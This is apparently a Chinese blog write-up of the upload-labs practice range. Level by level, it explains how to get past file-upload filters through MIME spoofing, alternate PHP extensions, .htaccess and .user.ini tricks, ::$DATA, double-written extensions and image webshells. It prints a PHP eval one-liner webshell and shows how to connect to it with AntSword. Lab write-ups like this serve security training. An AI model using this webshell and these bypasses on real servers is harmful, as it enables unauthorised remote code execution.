sqllabs

upload-labs

第一关(js前端绕过)

第一关是前端过滤 是套用了JavaScript代码(checkFile()函数)

image-20250419191555620

所以我们只需要在前端删除该函数 或者是使用插件NoScript直接禁止掉前端的JavaScript代码 之后我们就可以上传我们的一句话代码

<?php 
@eval($_POST['pass']); 
?>

上传成功后我们就可以使用中国蚁剑进行连接

image-20250419192028608

我们也可以直接使用post传参的方式来代入我们的一句话木马

image-20250419192349081

第二关(MIME类型绕过)

本关是在MIME类型上进行过滤 而MIME类型会通过Content-Type头声明 因此我们需要来欺骗Content-Type 那么就出现两种方式:

我们可以先将我们一句话木马的后缀改为.png 然后在bp上修改我们的后缀.png成.php

image-20250420092800816

我们也可以直接传我们的一句话木马 然后在bp修改Content-Type所读取到的类型 修改成.png所对应的类型 这样就可以绕过MIME上的过滤

image-20250420093028582

第三关(黑名单 其它php后缀绕过)

本关在过滤上采用的是黑名单过滤 而黑名单是禁止一些后缀 在过滤上本关禁用了('.asp','.aspx','.php','.jsp' )并且在代码中还有对大小写转换的代码 因此我们无法通过大写进行绕过 所以我们只能采用.php5等方式进行绕过

我们可以直接传入.php3的文件

image-20250420105616592

当然我们也可以传php文件 然后在bp上修改文件的后缀

image-20250420105712734

第四关(.htaccess配置文件绕过)

本关在后缀上禁用了.php后缀的一些文件 所以我们无法再像上一关一样通过.php后缀来绕过 但它并没有禁用.htaccess后缀的文件 所以我们可以通过.htaccess来绕过

首先我们先配置一个.htaccess文件

image-20250421194450943

上传成功后我们就可以来上传我们修改后缀的php木马 因为他会把我们的.png当成.php来解析

image-20250421194626927

第五关(黑名单 .ini绕过)

本关在过滤上过滤掉了很多 因此无法再像之前一样绕过 但本关在黑名单中并没有过滤掉.ini文件 因此我们可以采用.ini进行过滤

首先我们要先书写.user.ini文件

auto_prepend_file=mm.jpg

其含义是在执行该目录下的php脚本时都会执行mm.jpg当中的内容 在该靶场中 目录下始终存在一个readme.php脚本 因此我们可以使用.user.ini的绕过

上传.user.ini

image-20250421213716420

上传我们的一句话木马 mm.jpg (该木马被修改了后缀 但内容依然是php一句话木马)

image-20250421213818359

使用蚁剑进行连接 (注意在连接时要将最后的mm.jpg修改成readme.php)

image-20250421214037241

第六关(黑名单 大小写绕过)

本关在过滤了过滤了前面所有的绕过方式 如:.htaccess .ini 所以我们无法再通过以上方式进行过滤 但本关的代码语句上缺少了

$file_ext = strtolower($file_ext); //转换为小写

因此我们可以通过大写的方式来绕过过滤

image-20250421200436451

第七关(黑名单 空格绕过)

本关在过滤上缺少了对于空格过滤的语句

$file_ext = trim($file_ext); //首尾去空

那么他就无法在做到首尾去空 所以我们就可以采用加入空格的方式来进行绕过

image-20250421201514754

第八关(黑名单 .绕过)

本关在过滤上缺少了对于文件名末尾点号(.)的去除

$file_name = deldot($file_name);//删除文件名末尾的点

那么我们就可以通过尾部加(.)的方式来绕过

image-20250421201857823

第九关(黑名单 ::$DATA绕过)

本关在过滤上缺少了对于字符串::$DATA的过滤

 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

那么我们就可以在我们的php文件的尾部加上::$DATA来进行绕过

image-20250421202544887

注意 我们在使用蚁剑进行连接的时候要去除掉尾部的::$DATA

第十关(黑名单 . .绕过)

本关使用的依旧是黑名单过滤 但前面的方式都被过滤掉了 所以我们就可以考虑使用. .来绕过过滤

image-20250421205354669

代码中的deldot($file_name)确实会删除末尾的点号 但是deldot函数会从后向前检测 在检测到末尾的第一个句号时会继续它的检测 但是当他在遇到空格的时候会停下来 因此我们可以通过这种方式进行绕过

第十一关(黑名单 双写绕过)

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);

$file_name = trim($_FILES['upload_file']['name']); #它会去除掉首尾的空白字符 是我们无法通过空格绕过

$file_name = str_ireplace($deny_ext,"", $file_name); #如果是被禁止的扩展名列表 如['php','exe']中的字符串从文件名中不区分大小写地替换为空 如:evil.pHp.jpg → 替换后为 evil.jpg

因此以上方法都被过滤 但它并没有对双写进行过滤 所以我们依旧可以采用双写的方式来绕过

image-20250421215628897

第十二关(白名单 %00截断)

因为PHP study无法使用php5.2.17版本 所以本关的文件无法上传成功 但本关就是使用%00来绕过

查看代码我们发现他是get传参

image-20250423191225718

image-20250423191326532

第十三关(白名单 00截断)

第十四关(图片马 unpack)

本关是上传一个图片马 观察代码后我们会发现本关在对于上传的文件上只会读取前两位

$bin = fread($file, 2); //只读2字节

因此我们可以给我们的一句话木马前添加png的前两位字节 使其被理解成png文件等 但我们也可以直接把图片与一句话木马拼接在一起 使其成为一个图片马

image-20250423203947254

创造好后我们就可以上传我们的图片马 上传好后我们就可以使用页面所给的文件包含漏洞来检测我们的图片马是否可以运行

image-20250423210929868

由代码可知在该文件包含采用的是get型传参 由于我们上传的文件会存放在文件夹uoload中 那我们直接使用语句?file=./upload/6520250423130807.jpg来操作我们的文件马 我们发现出现了一堆乱码 说明我们传入是成功的

image-20250423211201500

之后我们就可以使用蚁剑进行连接

image-20250423211255878

第十五关(图片马 getimagesize)

本关使用了getimagesize()函数来检查上传的文件是否是图片文件 那么我们依旧可以使用拼接图片马的方式来进行进行绕过 但我们无法再使用增加字节的方式绕过 其它就与14关相同

第十六关(图片马 exif_imagetype)

虽然本关使用的exif_imagetype 但我们依旧可以使用第十五关绕过的方式来绕过本关

第十七关(二次渲染)

本关采用了二次渲染 所以我们无法再使用前面的图片马来进行绕过 我们制作一个图片马 而我们的一句话代码会保留在渲染后的图片里面没有发生变化的Hex地方 制作完图片马后就按照上面的方式进行绕过

http://192.168.237.1/upload-labs/include.php?file=./upload/29025.gif

image-20250423214617470

乱码表示我们已经上传成功了 那么我们就可以使用蚁剑进行连接

image-20250424200108018

第十八关

第二十关(黑名单)

本关在保存名称上进行了固定 无论我们上传内容是什么 他都会被保存为upload-19.jpg 为jpg文件 所以我们就要修改它 将它的后缀修改成php

image-20250425193057962

但我们在保存后会发现他会报错

image-20250425193340168

我们就猜测它在所保存的文件的后缀上进行了过滤 观察代码后我们发现它对于后缀采用了黑名单进行过滤 我们使用前面的任何方式都可以 只需要我们的后缀不在黑名单当中就可以

posted @ 2025-04-26 19:47  sufficience  阅读(63)  评论(2)    收藏  举报